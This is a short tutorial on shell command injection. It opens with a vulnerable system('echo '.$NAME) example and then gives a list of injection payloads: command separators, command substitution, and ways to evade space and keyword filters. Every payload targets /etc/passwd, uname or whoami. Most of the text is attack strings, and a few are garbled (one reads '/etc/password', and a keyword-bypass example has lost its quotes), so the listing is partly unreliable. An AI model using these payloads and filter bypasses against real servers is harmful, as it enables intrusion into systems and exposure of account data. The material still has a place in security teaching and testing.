Shell command injection is possible when a program uses a data, entered by the user, without filtering it, as an argument of a shell command.
Example: You enter your name in a Web Form, your name is sent to the server then used in a shell command. The server-side code looks like:
system ('echo '.$NAME);
Instead of just entering Yolo, you enter:
code>YOLO; cat /etc/password;
The server will chain the two commands by executing:
system ('echo YOLO; cat /etc/password;');
It is then possible to dump the content of the passwd file.
A command injection gives full control over the server. One can retrieve informations about the server (uname -a), account names (cat /etc/passwd), web server config files, launch a reverse shell...
Commands separators are : ; && | ||
echo YOLO; uname -a; cat /etc/passwd
echo YOLO && cat /etc/passwd
echo YOLO | cat /etc/passwd
echo YOLO || cat /etc/passwd Only if the first cmd fail
To force command execution in a string let use ` $ or {
echo `cat /etc/passwd`
echo $(cat /etc/passwd)
echo {cat,/etc/passwd}
Developpers sometimes add filters to avoid command injection. For exemple, they could filter Spaces. Hopefully, even without spaces it's still possible to launch shell commands:
cat</etc/passwd
{cat,/etc/passwd}
X=$'cat\x20/etc/passwd'&&$X
A keyword based filter is easy to bypass using simple quote, double quote, backslash et slash
c'a't /etc/passwd
cat /etc/passwd
c\at /etc/passwd
who``ami
In case the file '/etc/passwd' is filtered, just add /
c\at /etc////////passwd